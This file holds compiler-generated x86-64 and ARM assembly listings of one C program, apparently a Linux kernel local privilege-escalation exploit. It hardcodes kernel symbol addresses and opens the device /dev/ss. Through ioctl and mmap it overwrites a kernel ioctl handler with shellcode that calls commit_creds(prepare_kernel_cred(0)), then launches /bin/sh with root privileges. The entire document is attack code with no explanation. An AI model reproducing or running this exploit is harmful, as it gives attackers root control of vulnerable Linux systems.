	.file	"449028.c"
	.intel_syntax noprefix
	.text
	.globl	commit_creds_addr
	.data
	.align 8
	.type	commit_creds_addr, @object
	.size	commit_creds_addr, 8
commit_creds_addr:
	.quad	-2104734128
	.globl	prepare_kernel_cred_addr
	.align 8
	.type	prepare_kernel_cred_addr, @object
	.size	prepare_kernel_cred_addr, 8
prepare_kernel_cred_addr:
	.quad	-2104733232
	.globl	mutex_lock_addr
	.align 8
	.type	mutex_lock_addr, @object
	.size	mutex_lock_addr, 8
mutex_lock_addr:
	.quad	-2094152240
	.globl	func_dev_ioctl_off
	.align 8
	.type	func_dev_ioctl_off, @object
	.size	func_dev_ioctl_off, 8
func_dev_ioctl_off:
	.quad	1808
	.globl	call_mutex_lock_off
	.align 8
	.type	call_mutex_lock_off, @object
	.size	call_mutex_lock_off, 8
call_mutex_lock_off:
	.quad	1874
	.globl	storage_cache_off
	.align 8
	.type	storage_cache_off, @object
	.size	storage_cache_off, 8
storage_cache_off:
	.quad	12288
	.section	.rodata
.LC0:
	.string	"/dev/ss"
.LC1:
	.string	"/bin/sh"
	.text
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 112
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	esi, 2
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -104[rbp], eax
	mov	eax, DWORD PTR -104[rbp]
	mov	edx, 15
	mov	esi, 0
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	eax, DWORD PTR -104[rbp]
	mov	r9d, 61440
	mov	r8d, eax
	mov	ecx, 1
	mov	edx, 3
	mov	esi, 4096
	mov	edi, 0
	call	mmap@PLT
	mov	QWORD PTR -96[rbp], rax
	mov	rax, QWORD PTR -96[rbp]
	add	rax, 4088
	mov	QWORD PTR [rax], -1
	mov	rax, QWORD PTR -96[rbp]
	mov	esi, 4096
	mov	rdi, rax
	call	munmap@PLT
	mov	eax, DWORD PTR -104[rbp]
	mov	edi, eax
	call	close@PLT
	mov	esi, 2
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -100[rbp], eax
	mov	eax, DWORD PTR -100[rbp]
	mov	edx, 0
	mov	esi, 0
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	eax, DWORD PTR -100[rbp]
	mov	r9d, 0
	mov	r8d, eax
	mov	ecx, 16385
	mov	edx, 3
	movabs	rsi, 4294967296
	mov	edi, 0
	call	mmap@PLT
	mov	QWORD PTR -88[rbp], rax
	mov	edx, 4294950912
	mov	rax, QWORD PTR -88[rbp]
	add	rax, rdx
	mov	QWORD PTR -80[rbp], rax
	mov	rax, QWORD PTR call_mutex_lock_off[rip]
	lea	rdx, -4[rax]
	mov	rax, QWORD PTR -80[rbp]
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	cdqe
	mov	rdx, QWORD PTR mutex_lock_addr[rip]
	sub	rax, rdx
	mov	rcx, rax
	mov	rax, QWORD PTR call_mutex_lock_off[rip]
	mov	rdx, QWORD PTR func_dev_ioctl_off[rip]
	sub	rax, rdx
	add	rax, rcx
	mov	QWORD PTR -72[rbp], rax
	mov	eax, 3909038408
	mov	edx, 3905390920
	mov	QWORD PTR -64[rbp], rax
	mov	QWORD PTR -56[rbp], rdx
	mov	BYTE PTR -48[rbp], -61
	mov	rax, QWORD PTR -72[rbp]
	mov	edx, eax
	mov	rax, QWORD PTR prepare_kernel_cred_addr[rip]
	add	eax, edx
	lea	edx, -8[rax]
	lea	rax, -64[rbp]
	add	rax, 4
	mov	DWORD PTR [rax], edx
	mov	rax, QWORD PTR -72[rbp]
	mov	edx, eax
	mov	rax, QWORD PTR commit_creds_addr[rip]
	add	eax, edx
	lea	edx, -16[rax]
	lea	rax, -64[rbp]
	add	rax, 12
	mov	DWORD PTR [rax], edx
	mov	rdx, QWORD PTR func_dev_ioctl_off[rip]
	mov	rax, QWORD PTR -80[rbp]
	lea	rcx, [rdx+rax]
	mov	rax, QWORD PTR [rcx]
	mov	rdx, QWORD PTR 8[rcx]
	mov	QWORD PTR -32[rbp], rax
	mov	QWORD PTR -24[rbp], rdx
	movzx	eax, BYTE PTR 16[rcx]
	mov	BYTE PTR -16[rbp], al
	mov	rdx, QWORD PTR func_dev_ioctl_off[rip]
	mov	rax, QWORD PTR -80[rbp]
	lea	rcx, [rdx+rax]
	mov	rax, QWORD PTR -64[rbp]
	mov	rdx, QWORD PTR -56[rbp]
	mov	QWORD PTR [rcx], rax
	mov	QWORD PTR 8[rcx], rdx
	movzx	eax, BYTE PTR -48[rbp]
	mov	BYTE PTR 16[rcx], al
	mov	eax, DWORD PTR -100[rbp]
	mov	edx, 0
	mov	esi, 0
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	rdx, QWORD PTR func_dev_ioctl_off[rip]
	mov	rax, QWORD PTR -80[rbp]
	lea	rcx, [rdx+rax]
	mov	rax, QWORD PTR -32[rbp]
	mov	rdx, QWORD PTR -24[rbp]
	mov	QWORD PTR [rcx], rax
	mov	QWORD PTR 8[rcx], rdx
	movzx	eax, BYTE PTR -16[rbp]
	mov	BYTE PTR 16[rcx], al
	mov	rax, QWORD PTR -88[rbp]
	movabs	rsi, 4294967296
	mov	rdi, rax
	call	munmap@PLT
	mov	eax, DWORD PTR -100[rbp]
	mov	edi, eax
	call	close@PLT
	mov	edx, 0
	lea	rsi, .LC1[rip]
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	execl@PLT
	mov	eax, 0
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L3
	call	__stack_chk_fail@PLT
.L3:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"449028.c"
	.text
	.global	commit_creds_addr
	.data
	.align	2
	.type	commit_creds_addr, %object
	.size	commit_creds_addr, 4
commit_creds_addr:
	.word	-2104734128
	.global	prepare_kernel_cred_addr
	.align	2
	.type	prepare_kernel_cred_addr, %object
	.size	prepare_kernel_cred_addr, 4
prepare_kernel_cred_addr:
	.word	-2104733232
	.global	mutex_lock_addr
	.align	2
	.type	mutex_lock_addr, %object
	.size	mutex_lock_addr, 4
mutex_lock_addr:
	.word	-2094152240
	.global	func_dev_ioctl_off
	.align	2
	.type	func_dev_ioctl_off, %object
	.size	func_dev_ioctl_off, 4
func_dev_ioctl_off:
	.word	1808
	.global	call_mutex_lock_off
	.align	2
	.type	call_mutex_lock_off, %object
	.size	call_mutex_lock_off, 4
call_mutex_lock_off:
	.word	1874
	.global	storage_cache_off
	.align	2
	.type	storage_cache_off, %object
	.size	storage_cache_off, 4
storage_cache_off:
	.word	12288
	.section	.rodata
	.align	2
.LC0:
	.ascii	"/dev/ss\000"
	.align	2
.LC2:
	.ascii	"/bin/sh\000"
	.align	2
.LC1:
	.ascii	"H1\377\350\000\000\000\000H\211\307\350\000\000\000"
	.ascii	"\000\303"
	.align	2
.LC3:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 72
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #80
	ldr	r3, .L4
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r1, #2
	ldr	r0, .L4+4
	bl	open
	str	r0, [fp, #-72]
	mov	r2, #15
	mov	r1, #0
	ldr	r0, [fp, #-72]
	bl	ioctl
	mov	r3, #61440
	str	r3, [sp, #4]
	ldr	r3, [fp, #-72]
	str	r3, [sp]
	mov	r3, #1
	mov	r2, #3
	mov	r1, #4096
	mov	r0, #0
	bl	mmap
	str	r0, [fp, #-68]
	ldr	r3, [fp, #-68]
	add	r3, r3, #4080
	add	r3, r3, #8
	mvn	r2, #0
	str	r2, [r3]
	mov	r1, #4096
	ldr	r0, [fp, #-68]
	bl	munmap
	ldr	r0, [fp, #-72]
	bl	close
	mov	r1, #2
	ldr	r0, .L4+4
	bl	open
	str	r0, [fp, #-64]
	mov	r2, #0
	mov	r1, #0
	ldr	r0, [fp, #-64]
	bl	ioctl
	mov	r3, #0
	str	r3, [sp, #4]
	ldr	r3, [fp, #-64]
	str	r3, [sp]
	ldr	r3, .L4+8
	mov	r2, #3
	mov	r1, #0
	mov	r0, #0
	bl	mmap
	str	r0, [fp, #-60]
	ldr	r3, [fp, #-60]
	sub	r3, r3, #16384
	str	r3, [fp, #-56]
	ldr	r3, .L4+12
	ldr	r3, [r3]
	sub	r3, r3, #4
	ldr	r2, [fp, #-56]
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r3, .L4+16
	ldr	r3, [r3]
	sub	r2, r2, r3
	ldr	r3, .L4+12
	ldr	r1, [r3]
	ldr	r3, .L4+20
	ldr	r3, [r3]
	sub	r3, r1, r3
	add	r3, r2, r3
	str	r3, [fp, #-52]
	ldr	r3, .L4+24
	sub	ip, fp, #48
	mov	lr, r3
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldr	r3, [lr]
	strb	r3, [ip]
	ldr	r3, .L4+28
	ldr	r2, [r3]
	ldr	r3, [fp, #-52]
	add	r3, r2, r3
	sub	r2, r3, #8
	sub	r3, fp, #48
	add	r3, r3, #4
	str	r2, [r3]
	ldr	r3, .L4+32
	ldr	r2, [r3]
	ldr	r3, [fp, #-52]
	add	r3, r2, r3
	sub	r2, r3, #16
	sub	r3, fp, #48
	add	r3, r3, #12
	str	r2, [r3]
	ldr	r3, .L4+20
	ldr	r3, [r3]
	ldr	r2, [fp, #-56]
	add	r2, r2, r3
	sub	r3, fp, #28
	mov	r1, r2
	mov	r2, #17
	mov	r0, r3
	bl	memcpy
	ldr	r3, .L4+20
	ldr	r3, [r3]
	ldr	r2, [fp, #-56]
	add	r3, r2, r3
	mov	r0, r3
	sub	r3, fp, #48
	mov	r2, #17
	mov	r1, r3
	bl	memcpy
	mov	r2, #0
	mov	r1, #0
	ldr	r0, [fp, #-64]
	bl	ioctl
	ldr	r3, .L4+20
	ldr	r3, [r3]
	ldr	r2, [fp, #-56]
	add	r3, r2, r3
	mov	r0, r3
	sub	r3, fp, #28
	mov	r2, #17
	mov	r1, r3
	bl	memcpy
	mov	r1, #0
	ldr	r0, [fp, #-60]
	bl	munmap
	ldr	r0, [fp, #-64]
	bl	close
	mov	r2, #0
	ldr	r1, .L4+36
	ldr	r0, .L4+36
	bl	execl
	mov	r3, #0
	ldr	r2, .L4
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L3
	bl	__stack_chk_fail
.L3:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L5:
	.align	2
.L4:
	.word	.LC3
	.word	.LC0
	.word	16385
	.word	call_mutex_lock_off
	.word	mutex_lock_addr
	.word	func_dev_ioctl_off
	.word	.LC1
	.word	prepare_kernel_cred_addr
	.word	commit_creds_addr
	.word	.LC2
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
